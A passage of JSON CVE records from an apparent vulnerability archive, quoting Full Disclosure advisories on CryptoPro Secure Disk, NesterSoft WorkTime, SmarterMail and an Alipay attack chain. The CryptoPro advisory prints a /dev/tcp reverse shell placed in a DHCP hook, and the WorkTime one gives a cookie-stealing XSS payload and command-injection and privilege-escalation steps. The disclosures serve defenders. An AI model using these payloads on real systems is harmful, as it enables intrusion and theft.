innora ai | Innora AI Security Research\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-939",
              "description": "CWE-939",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:40:47Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/4"
        },
        {
          "url": "https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067\u0026url=[BASE64_ENCODED_ATTACKER_URL"
        },
        {
          "url": "https://innora.ai/zfb/"
        },
        {
          "url": "https://innora.ai/zfb/poc/trigger.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Alipay DeepLink+JSBridge Attack Chain: Silent GPS Exfiltration, 17 Vulns, 6 CVEs (CVSS 9.3)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0243",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/4",
            "automated": true,
            "contentSha256": "c41650b65f5b5e3df47a5c82a69ed945e38f06dd504335c7dd62cf305b8c4dde",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-12T02:33:20Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-09T13:40:47Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0243"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260224-0",
          "vendor": "Cpsd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260224-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: CPSD CryptoPro Secure Disk for BitLocker\n\u00a0vulnerable version: 7.6.4.16432 (76212)\n      fixed version: 7.6.6 / 7.7.1\n         CVE number: CVE-2025-10010\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.cpsd.at\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-14\n                 by: Gorazd Jank (Office Vienna)\n                     Stefan Viehb\u00f6ck\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n(German)\n\"Das Team von CPSD entwickelt hochwertige Verschl\u00fcsselungsl\u00f6sungen f\u00fcr\nsicherheitsbewusste Unternehmen. Seit \u00fcber 15 Jahren stehen die CryptoPro\nProdukte f\u00fcr beste Kundenzufriedenheit durch einen ausgewogenen Mix aus\nSicherheit, Benutzerkomfort und minimale Verwaltung.\n\nIhre Sicherheitsanforderungen sind bei unseren Experten in besten H\u00e4nden.\nDie Erfahrung aus zahlreichen Kryptographie-Projekten teilen wir gerne und\nempfehlen die optimale Verschl\u00fcsselungsstrategie. Lassen Sie sich von den\nVorteilen inspirieren!\"\n\nSource:https://www.cpsd.at/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches (7.6.6/7.7.1) for the affected software which\nshould be installed immediately if the devices are not already patched.\n\nIn cases where patching is not feasible it is possible to encrypt the PBA\npartition to prevent changes. For detailed information see chapter\nWorkaround below.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nThe CryptoPro Secure Disk application boots a small Linux operating system\nto perform user authentication before using BitLocker to decrypt the Windows\npartition. The system is located on a separate unencrypted partition which can\nbe reached by anyone with access to the hard disk.\n\nMultiple checks are performed to validate the integrity of the Linux operating\nsystem and the CryptoPro Secure Disk application files. When files are changed\nan error is shown on system start. One of the checks is the Linux kernel\u0027s\nIntegrity Measurement Architecture (IMA). It was identified that configuration\nfiles are not validated by the IMA and can then (if not checked by other\nmeasures) be changed. This allows an attacker to execute arbitrary code in the\ncontext of the root user and enables an attacker to e.g., plant a backdoor\nand access data during execution.\n\n2) Cleartext storage of sensitive data\nCryptoPro Secure Disk allows users who have forgotten their credentials to\ncontact offline as well as online support. The online version needs to\nestablish a connection to the support server. For this purpose, it may connect\nto a predefined LAN or WLAN.\n\nIf secrets (e.g., certificates, passwords, etc.) are needed to access these\nnetworks the corresponding configurations and files are stored in the /tmp\nfolder in clear text. An attacker with access to the Linux operating system can\nread the secrets and use them to potentially connect to an internal network.\n\n\nProof of concept:\n-----------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nAn attacker can access the unencrypted partition on the hard disk by either\nbooting from an external medium (e.g., USB) or by removing the hard disk and\nmounting it to another system. No authentication is needed.\n\nTo bypass the IMA and get arbitrary code execution an editable configuration\nfile is needed which supports the execution of code and will be executed by\nthe system. A service meeting these preconditions is the Dynamic Host\nConfiguration Protocol Daemon (dhcpd). It supports Enter- and Exit-Hooks,\nwhich are basically bash scripts which are executed when the dhcpd service is\nstarted or respectively exited. They are being called after the initiation of\nthe Linux operating system.\n\nThe vulnerability can be exploited by setting up a DHCP Enter-Hook with a reverse\nshell. This can be done by generating the file /etc/dhcpcd.enter-hook with\nfollowing content:\n\n------------------------------------------------------------------------------\n#!/bin/bash\n\nbash -c \u0027exec bash -i \u0026\u003e/dev/tcp/192.168.XXX.XXX/9999 \u003c\u00261\u0027 \u0026\n------------------------------------------------------------------------------\n\nThe host and the receiver of the reverse shell must be connected to each other\ne.g., using a router. After the restart of the host machine a connection is\nopened to the attacker\u0027s host resulting in a reverse shell with root\nprivileges.\n\n\n2) Cleartext storage of sensitive data\nTo exploit this vulnerability, access to the running CryptoPro Secure system is\nneeded e.g., through a reverse shell. When the online support is used, the\ncredentials for the network are stored in clear text in the /tmp folder.\nAccessing it after the start of the application \u2013 without user interaction -\nis sufficient to access this information.\n\nThe figure below shows certificates as well as configuration containing clear\ntext credentials for the certificates. It contains the user certificate\n(host.pem) and user private key (priv.pem) including the clear text password,\nwhich can be found inside of the \"wlan_supplicant_conf.wlan0\" file.\nThere is also a tls_certs.pfx file with clear text password without\nknown usage. This would allow an attacker to access a user WLAN and / or\nbypass 802.1x protection.\n\n\u003cissue2_poc_cleartext_storage_01.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 7.6.4.16432 (76212)\n\n\nVendor contact timeline:\n------------------------\n2025-06-04: Contacting vendor throughsupport () cpsd at\n2025-06-04: Quick vendor response with request for information.\n2025-06-10: Submission of advisory via secure platform.\n2025-06-24: Response from vendor with workaround. Vendor-Clients will be informed\n            and final fix will be released with version 7.6.6 / 7.7.1.\n2025-06-27: Following up regarding the proposed fixed by the vendor regarding\n            checksums.\n2025-07-25: Information to vendor about start of advisory publication, sending\n            current advisory draft to vendor.\n2025-08-05: Vendor proposes adding the workaround to the business recommendation\n            section.\n2025-09-06: Asking the vendor when the patches have been provided to the customers.\n2025-09-08: Reserving CVE-2025-10010. Vendor is still clarifying status with\n            customers, requests delay of publication for a few months.\n            Patch information was provided to customers on 12th August.\n2026-02-19: Informing vendor about upcoming advisory release.\n2026-02-24: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch with version 7.6.6 / 7.7.1.\nEncryption is activated by default starting with version 7.7.\n\n\nWorkaround:\n-----------\nEncryption of the PBA partition is possible (since version 7.6.0) and\nprevents changing of the files as described in the advisory. Encryption\ncan be activated via \"Client Security/Verschiedenes/PBA Linux Partition\nverschl\u00fcsseln\". Clients will be informed by the vendor about the risk if\nthe PBA partition is not encrypted.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Gorazd Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:40:14Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/0"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cpsd.at"
        },
        {
          "url": "https://www.cpsd.at/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-10010",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0214",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0",
            "automated": true,
            "contentSha256": "06646923265364884f23de6061a208ca5336a6ce6df0f164adc106a752bb17e1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-24T13:56:42Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0214"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-09T13:40:14Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0214"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260218-0",
          "vendor": "Nestersoft",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260218-0 \u003e\n=======================================================================\n             title: Multiple Critical Vulnerabilities\n           product: NesterSoft WorkTime (on-prem/cloud)\nvulnerable version: \u003c= 11.8.8\n     fixed version: No patch available, vendor unresponsive.\n        CVE number: CVE-2025-15563, CVE-2025-15562, CVE-2025-15561\n                    CVE-2025-15560, CVE-2025-15559\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 impact: Critical\n          homepage:https://www.worktime.com/\n             found: 2025-05-22\n                by: Tobias Niemann (Office Bochum)\n                    Daniel Hirschberger\n                    Thorger Jansen (Office Bochum)\n                    Marius Renner (Office Berlin)\n                    SEC Consult Vulnerability Lab\n\n                    An integrated part of SEC Consult, an Atos business\n                    Europe | Asia\n\n                    https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"WorkTime is a green employee monitoring software with a primary focus on\nmonitoring employees\u0027 productivity. It is a non-invasive, transparent, safe,\nand socially responsible technology. WorkTime offers a safe replacement for\nevery invasive function.\"\n\nSource:https://www.worktime.com/employee-monitoring\n\n\nBusiness recommendation:\n------------------------\nThe vendor did not respond to our communication attempts anymore. It is currently\nunclear, whether a patch is available. Please contact the vendor to request a\npatch for the identified critical security issues.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated OS Command Injection (CVE-2025-15559)\nAn unauthenticated attacker can inject OS commands when calling a server API\nendpoint. This allows an attacker to execute arbitrary commands on the\nWorkTime server as NT Authority\\SYSTEM with the highest privileges. Attackers\nare able to access or manipulate sensitive data and take over the whole\nserver.\n\n2) SQL Injection (MSSQL/Firebird Backend) (CVE-2025-15560)\nAn authenticated attacker with minimal permissions can exploit a SQL injection\nin a WorkTime server API endpoint to inject SQL queries. If the Firebird\nbackend is used, attackers are able to retrieve all data from the database backend.\nIf the MSSQL backend is used the attacker can execute arbitrary SQL statements\non the database backend and gain access to sensitive data.\n\n3) Local Privilege Escalation (CVE-2025-15561)\nAn attacker can exploit the update behavior of the WorkTime monitoring daemon\nto elevate privileges on the local system to NT Authority\\SYSTEM.\n\n4) Reflected Cross-Site Scripting (XSS) (CVE-2025-15562)\nA server API endpoint reflects received data into the HTML response without\napplying proper encoding or filtering. This allows an attacker to execute\narbitrary JavaScript in the victim\u0027s browser if the victim opens a URL prepared\nby the attacker.\n\n5) Broken Access Control results in Denial of Service (CVE-2025-15563)\nAny unauthenticated user can reset the WorkTime on-prem database configuration\nby sending a specific HTTP request to the WorkTime server. No authorization check is\napplied here.\n\n\nProof of concept:\n-----------------\n1) Unauthenticated OS Command Injection (CVE-2025-15559)\nThe server API call to generate and download the WorkTime client from the\nWorkTime server is vulnerable against OS command injection in the \"guid\"\nparameter. For this proof of concept the following OS command is injected:\n--------------------------------------------------------------------------------\nwhoami \u003e C:\\secwashere\n--------------------------------------------------------------------------------\nThe HTTP request is shown below:\n--------------------------------------------------------------------------------\n\u003c PoC removed \u003e\n--------------------------------------------------------------------------------\n\nThe injected command is executed on the server as NT Authority\\SYSTEM:\n\u003ccommand_injection.png\u003e\n\n\n2) SQL Injection (MSSQL/Firebird Backend) (CVE-2025-15560)\nThe following authenticated \"widget\" API endpoint is vulnerable. Minimal\npermissions are required to access the server endpoint.\n--------------------------------------------------------------------------------\nPOST /api/widget HTTP/1.1\nHost: \u003cserver_hostname\u003e:8080\nContent-Type: multipart/form-data; boundary=---------------------------295635091325610060643320064167\nContent-Length: [...]\n-----------------------------295635091325610060643320064167\n\u003c removed \u003e\n-----------------------------295635091325610060643320064167--\n--------------------------------------------------------------------------------\n\nNote that the request requires a token value in the request body.\nAny user that has access to the WorkTime server in any role has access to a\nvalid token. The three parameters employee, computer and department are injectable.\nIf the Firebird database backend is configured, the injection can be exploited\nusing the following sqlmap command:\n--------------------------------------------------------------------------------\n\u003c PoC removed \u003e\n--------------------------------------------------------------------------------\n\nIf the MSSQL backend is used the following sqlmap command can be used\nwith the request from above:\n--------------------------------------------------------------------------------\n\u003c PoC removed \u003e\n--------------------------------------------------------------------------------\n\nDepending on the used MSSQL database user and the database configuration\nthe injection can also be exploited to execute OS commands on the server.\n\n\n3) Local Privilege Escalation (CVE-2025-15561)\nTo exploit the vulnerability, the attacker must first create an executable that\nshould be executed with elevated privileges. For this proof of concept the\nfollowing C code was used.\n--------------------------------------------------------------------------------\n\u003c PoC removed \u003e\n--------------------------------------------------------------------------------\n\nIt is required to add versioning information during the linking process.\nOtherwise WorkTime will not execute the created binary. Any resource file can be\nused:\n--------------------------------------------------------------------------------\n1 VERSIONINFO\nFILEVERSION 1,0,0,0\nPRODUCTVERSION 1,0,0,0\nFILEFLAGSMASK 0x3f\nFILEFLAGS 0x0\nFILEOS 0x40004\nFILETYPE 0x1\nFILESUBTYPE 0x0\nBEGIN\n    BLOCK \"StringFileInfo\"\n    BEGIN\n        BLOCK \"040904b0\"  // Language and code page\n        BEGIN\n            VALUE \"CompanyName\", \"Your Company\"\n            VALUE \"FileDescription\", \"Your Application Description\"\n            VALUE \"FileVersion\", \"1.0.0.0\"\n            VALUE \"InternalName\", \"YourApp\"\n            VALUE \"OriginalFilename\", \"YourApp.exe\"\n            VALUE \"ProductName\", \"Your Product\"\n            VALUE \"ProductVersion\", \"1.0.0.0\"\n        END\n    END\n    BLOCK \"VarFileInfo\"\n    BEGIN\n        VALUE \"Translation\", 0x409, 1200\n    END\n--------------------------------------------------------------------------------\n\nCompile the PoC code:\n--------------------------------------------------------------------------------\n$ x86_64-w64-mingw32-windres resource.rc -o resource.o\n$ x86_64-w64-mingw32-gcc exec.c resource.o\n--------------------------------------------------------------------------------\n\nThe resulting executable must now be renamed to WTWatch.exe and be dropped\nin C:\\ProgramData\\wta\\ClientExe.\n\nThe folder is writable by Everyone:\n\u003cfolder_permissions.png\u003e\n\nAfter dropping the executable, it is executed by the WorkTime monitoring daemon\nas NT Authority\\SYSTEM:\n\u003cpriv_esc.png\u003e\n\n\n4) Reflected Cross-Site Scripting (XSS) (CVE-2025-15562)\nAs a proof of concept the following JavaScript payload was used:\n--------------------------------------------------------------------------------\nalert(document.location)\n--------------------------------------------------------------------------------\n\nThe type parameter in the POST body is reflected back into the HTML response:\n--------------------------------------------------------------------------------\nPOST /report/internet/urls HTTP/1.1\nHost: \u003cserver_hostname\u003e:8079\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: PHPSESSID=[...]; aup_accept=accept\ntype=\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n--------------------------------------------------------------------------------\nThe injected payload is reflected back into the HTTP response without proper\nencoding or filtering and the payload is executed:\n\u003cxss.png\u003e\n\n\n5) Broken Access Control results in Denial of Service (CVE-2025-15563)\nAn unauthenticated attacker can access the following URL to reset the\nserver\u0027s configured database.\n\u003c PoC URL removed \u003e\n\nIf the attacker presses the displayed button the browser sends the following\nunauthenticated HTTP request which resets the database configuration:\n--------------------------------------------------------------------------------\n\u003c Poc removed \u003e\n--------------------------------------------------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* WorkTime v11.8.8\n\n\nVendor contact timeline:\n------------------------\n2025-07-09: Initial mail to the vendor (info () worktime com)\n2025-07-23: First vendor response, requesting unencrypted advisory.\n2025-07-29: Sending the advisory via email.\n2025-09-29: Asking for a status update regarding any fixes or roadmap, asking\n            whether we should reserve CVE numbers or the vendor.\n2025-09-30: Customer support answers that \"Firebird for On-Premises\" (CVE-2025-24975)\n            is fixed. They ask us which other CVEs we have identified.\n2025-10-02: Replying to vendor that we submitted the advisory including all details\n            on 29th July and that CVE-2025-24975 has nothing to do with our advisory.\n            No response.\n2025-11-03: Asking the vendor for a status update, informing them about our disclosure\n            deadline again and setting preliminary release date to 19th November.\n2025-11-03: Vendor support responds to check with the technical team.\n2025-11-17: Vendor responds they are actively working on it this week to analyze\n            the issues and report back to us within a week.\n2026-02-04: No response from the vendor so far. Reserved CVE numbers, asking for\n            status update / fixed version numbers, informing vendor about planned\n            public release on 18th February.\n2026-02-18: Still no response, public release of advisory.\n\n\nSolution:\n---------\nThe vendor did not respond to our communication attempts anymore. It is currently\nunclear, whether a patch is available. Please contact the vendor to request a\npatch for the identified critical security issues.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to wo"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:40:11Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/31"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/31"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.worktime.com/"
        },
        {
          "url": "https://www.worktime.com/employee-monitoring"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/31"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260218-0 :: Multiple Critical Vulnerabilities in NesterSoft WorkTime (on-prem/cloud)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-15559",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15560",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15561",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15562",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15563",
              "type": "related"
            },
            {
              "destId": "CVE-2025-24975",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0228",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/31",
            "automated": true,
            "contentSha256": "d62d24712977ac958ebaeb4265f410481e4b5d447d9dd58f15c59a9e39a78d89",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/31",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-18T11:52:03Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0228"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-09T13:40:11Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0228"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SmarterMail",
          "vendor": "SmarterTools",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "----------------------------------------------------------------------------\nSmarterMail \u003c= 9518 (MailboxId) Reflected Cross-Site Scripting Vulnerability\n----------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.smartertools.com/smartermail/business-email-server\n\n\n[-] Affected Versions:\n\nBuild 9518 and prior builds.\n\n\n[-] Vulnerability Description:\n\nUser input passed through the \"MailboxId\" GET parameter to the MAPI\nendpoints is not properly sanitized before being used to generate HTML\noutput. This can be exploited by attackers to perform Reflected Cross-Site\nScripting (XSS) attacks which, in turn, might lead to 1-click Remote\nCommand Execution (RCE) attacks.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-26930.html\n\n\n[-] Solution:\n\nUpgrade to build 9526 or later.\n\n\n[-] Disclosure Timeline:\n\n[26/01/2026] - Vendor notified\n\n[26/01/2026] - Vendor response stating \"we will get this over to the\ndevelopers for evaluation\"\n\n[30/01/2026] - Vendor released build 9526\n\n[03/02/2026] - CVE identifier requested\n\n[16/02/2026] - CVE identifier assigned\n\n[16/02/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.org) has assigned the\nname CVE-2026-26930 to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-04\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:39:49Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/30"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/30"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-04"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-26930.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.smartertools.com/smartermail/business-email-server"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/30"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-04] SmarterMail \u003c= 9518 (MailboxId) Reflected Cross-Site Scripting Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-26930",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0188",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/30",
            "automated": true,
            "contentSha256": "1b9c0c62d6540010d20336b53c97c6e3695dd861abc3b0020cb27c5449f7e8f9",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/30",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-16T22:32:17Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0188"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T13:39:49Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0188"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Blesta",
          "vendor": "Blesta",
          "versions": [
            {
